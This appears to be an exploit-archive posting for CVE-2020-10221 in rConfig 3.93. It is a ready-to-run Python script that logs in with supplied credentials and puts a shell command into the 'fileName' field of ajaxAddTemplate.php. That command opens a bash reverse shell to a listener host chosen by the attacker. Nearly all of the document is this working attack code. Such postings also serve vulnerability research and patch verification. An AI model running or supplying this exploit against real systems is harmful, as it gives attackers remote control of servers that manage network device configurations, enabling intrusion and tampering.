rConfig 3.93 Authenticated Remote Code Execution

rConfig version 3.93 suffers from an authenticated ajaxAddTemplate.php remote code execution vulnerability.


MD5 | 85d122ff0df2067290a863cffe078fa7

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# Exploit Title: rConfig 3.93 - 'ajaxAddTemplate.php' Authenticated Remote Code Execution
# Date: 2020-03-08
# Exploit Author: Engin Demirbilek
# Vendor Homepage: https://www.rconfig.com/
# Version: rConfig <= 3.94
# Tested on: centOS
# CVE: CVE-2020-10221
# Advisory link: https://engindemirbilek.github.io/rconfig-3.93-rce

import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if len(sys.argv) < 6:
  print "Usage: ./exploit.py http(s)://url username password listenerIP listenerPort"
  exit()

url = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
payload = ";bash -i >& /dev/tcp/{}/{} 0>&1;".format(sys.argv[4], sys.argv[5])

login = {
  'user':user,
  'pass':password,
  'sublogin':'1'
}
req = requests.Session()
print "Sendin login request ..."
login = req.post(url+"/lib/crud/userprocess.php", data=login, verify=False)

payload = {
  'fileName':payload,
}



print "[+] Sendin exploit ..."

exploit = req.post(url+"/lib/ajaxHandlers/ajaxAddTemplate.php",cookies=req.cookies, data=payload, headers={
'User-Agent':'Mozilla/5.0 Gecko/20100101 Firefox/72.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Encoding':'gzip, deflate',
'Content-Type':'application/x-www-form-urlencoded'},verify=False)

if exploit.status_code == 200:
  print "[+] Everything seems ok, check your listener."
else:
  print "[-] Exploit failed,  system is patched or credentials are wrong."

Source: packetstormsecurity.com
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